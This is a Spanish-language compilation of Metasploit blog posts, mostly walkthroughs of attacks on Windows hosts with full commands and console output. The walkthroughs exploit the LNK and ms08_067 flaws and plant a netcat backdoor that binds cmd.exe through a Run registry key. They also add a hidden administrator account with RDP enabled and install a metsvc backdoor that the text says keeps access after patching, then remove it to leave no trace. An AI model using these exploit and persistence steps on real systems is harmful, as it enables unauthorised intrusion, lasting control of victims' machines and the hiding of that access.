Armitage – Metasploit mas intuitivo

 

Armitage es un Administrador Gráfico de Cyber Ataques para Metasploit que sirve para visualizar gráficamente tus objetivos, el mismo programa te recomienda que exploit usar, expone las opciones avanzadas del framework (esas que comúnmente se nos olvida o no sabemos), desde el mismo Armintage podemos iniciar un análisis con Nmap, e incluso se puede usar el módulo de Brute Force para sacar username/password.

¿Meterpreter en Linux?

Hace unos días me encontraba utilizando mi Metasploit, que siempre tengo actualizada a la última versión de SVN, y me encontré una cosa curiosa al intentar lanzar un exploit cuando ejecuté el comando «show payloads» para ver los payloads que tenía disponibles:

 

[…]

linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
[…]

¡¡¡ METERPRETER PARA LINUX !!!

 

Sentí como si HD Moore hubiera oído por fin mis plegarias. Siempre me he preguntado (y por lo que he podido comentar, no he sido el único) por qué no habían sacado un Meterpreter para otros sistemas que no sean Windows, si se debía a algún problema técnico que desconociéramos, a las diferencias existentes en Linux al existir una amplia variedad de distribuciones, o algo así.

Metasploit Pro 3.5

El pasado martes 19 de octubre apareció la noticia del lanzamiento de la suite de seguridad más famosa en su versión comercial, Metasploit Pro 3.5. Entre las nuevas características, destacan la habilidad de identificar, auditar y explotar aplicaciones web, lanzar campañas de ingeniería social a gran escala, evasión de antivirus e IDS, trabajo colaborativo y generar informes personalizados. Además, Metasploit Pro permite hacer VPN Pivoting en capa 2, lo cual nos crea una interfaz virtual dentro de la red remota desde la que poder lanzar cualquier herramienta de seguridad.
La instalación es muy sencilla, tanto para Windows como para Linux. En caso de tener alguna duda, recomiendo seguir las guías de instalación y de usuario que se pueden encontrar en la web. Para probar la herramienta, Rapid7 pone a nuestra disposición una imagen de VmWare con servicios vulnerables.

Patriot NG 1.0 para defendernos de un ataque con Metasploit

Si ayer nuestro compañero Yago presentaba la versión 1.0 de Patriot NG, ahora os enseñamos como gracias a este programa podemos detectar y mitigar un ataque mediante un exploit que, en este caso, vamos a lanzar desde Metasploit Framework.
El exploit que usaremos va a ser windows/browser/ms10_046_shortcut_icon_dllloader(el fallo de los .lnk), el cual vamos a explotar a través de Internet Explorer. Como payload usaremos windows/shell_reverse_tcp para obtener el control del equipo remoto mediante consola de comandos.
Metasploit abrirá un puerto, al que conectaremos con IE. La configuración es la siguiente:

Explotando «LNK» con MetaSploit

MetaSploit nuevamente tiene un PoC para una vulnerabilidad que todavía no posee un parche de corrección de Microsoft.

Para testear esta vulnerabilidad primero debemos actualizar el framework con «svn update», y luego hacemos lo siguiente:

use windows/browser/ms10_xxx_windows_shell_lnk_execute
set SRVHOST 192.168.162.136
set SRVPORT 80
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.162.136
set LPORT 443
exploit

De esta forma vamos a levantar un servidor web en el puerto 80, que cuando la víctima lo visite, nos dará una shell de meterpreter a través del puerto 443. Funciona muy bien!

Todavía no hay un parche de seguridad de Microsoft para corregir este problema, pero pueden encontrar algunos workarounds a continuación:

Microsoft Security Advisory (2286198)
– Security By Default: Solución a la vulnerabilidad «LNK» de Windows mediante Directivas de Restricción de Software
Fuente: http://www.kungfoosion.com/

Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

[Metasploit By: Shell Root]

Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.

Primero ingresaremos a la P.C con el exploit:

  • exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:

  • windows/shell/bind_tcp
  • windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444)

meterpreter >

Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.

Código:

meterpreter > upload
Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto]

Uploads local files and directories to the remote machine.

OPTIONS:

    -r        Upload recursively.

meterpreter >

Así:

Código:

meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading  : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded   : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe
meterpreter >

Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:

  • HKLM\Software\Microsoft\Windows\CurrentVersion \Run

Asi:

Código:

meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:

Código:

meterpreter > reboot
Rebooting...
meterpreter >

Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:

Código:

msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsShell Root Remoto>

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html

Habilitar Escritorio Remoto

[Metasploit By: Shell Root]
Una de las muchas herramientas que trae integrada el Metasploit aparte de la que ya hemos visto (keyylogger, Screenshot, Ver Escritorio Remoto ). Tambien podemos agregar un usuario y habilitar el escritorio remoto de la P.C Remota con tan solo una ejecucion de un comando. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp
* windows/meterpreter/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 10 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 10 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/bind_tcp
[-] The value specified for PAYLOAD is not valid.
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:12995 -> 192.168.0.3:4444)

meterpreter >

Ahora que tenemos el Meterpreter ejecutamos el comando run getgui. Miremos que opciones tiene.

Código:

meterpreter > run getgui                 
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -h        Help menu.
    -p <opt>  The Password of the user to add.
    -u <opt>  The Username of the user to add.

meterpreter >

Ahora ingresamos los parametros necesarios para perfecta ejecución del exploit. Así:

Código:

meterpreter > run getgui -u Shell -p Root[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[*]     RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*]     The Terminal Services service is not set to auto, changing it to auto ...[*]     Opening port in local firewall if necessary[*] Setting user account for logon[*]     Adding User: Shell with Password: Root[*]     Adding User: Shell to local group Remote Desktop Users[*]     Adding User: Shell to local group Administrators[*] You can now login with the created user

Ahora ya tan solo nos queda conectarnos desde la Conexión a Escritorio remoto que trae integrado Windows.
[youtube=http://www.youtube.com/watch?v=VKLNgMgVtvs]

By: Shell Root
Fuente: Habilitar Escritorio Remoto

Crear un Backdoor con meterpreter

Primero, necesitamos una sesión de meterpreter en el sistema remoto.

Código:
                                  _            
                                 | |      o    
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |  
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|                  
                           |                   

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 489 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
       =[ svn r8074 updated today (2010.01.05)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set LHOST 172.16.83.1
LHOST => 172.16.83.1
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 3 opened (172.16.83.1:54745 -> 172.16.83.128:4444)

meterpreter >

Una vez conseguida, ejecutamos metsrv, que instalará como servicio un servidor de meterpreter en el host remoto.

Código:
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:WINDOWSTEMPHdOFwlxzpobWuh...
[*]  >> Uploading metsrv.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
	 * Installing service metsvc
 * Starting service
Service metsvc successfully installed.

Ahora, si queremos, podemos reiniciar el sistema remoto, aunque el servicio ya está corriendo.

Código:
meterpreter > reboot
Rebooting...
meterpreter >

Ahora, cuando se reinicie el host remoto, vamos a conectarnos al servicio de meterpreter que acabamos de instalar.

Para ello, usaremos el handler para que nos porte el exploit windows/metsvc_bind_tcp, lo configuraremos y nos conectaremos, como haré yo.

Código:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc_bind_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/metsvc_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST                      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > set RHOST 172.16.83.128
RHOST => 172.16.83.128
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Meterpreter session 1 opened (172.16.83.1:42050 -> 172.16.83.128:31337)

meterpreter >

Y ya está! Esto nos viene bien por si el host remoto aplica un parche que corrija sus vulnerabilidades.
Aunque parchee el sistema, nosotros tendremos acceso a su sistema a través de ese backdoor.

Y si queremos desinstar el metsvc en el host remoto para no dejar rastro, tan sólo tenemos que ejecutar metsvc -r en nuestra sesión de meterpreter.

Código:
meterpreter > run metsvc -r
[*] Removing the existing Meterpreter service
[*] Creating a temporary installation directory C:WINDOWSTEMPQQqawIYOjLq...
[*]  >> Uploading metsvc.exe...
[*] Stopping the service...
	 * Stopping service metsvc
 * Removing service
Service metsvc successfully removed.

meterpreter >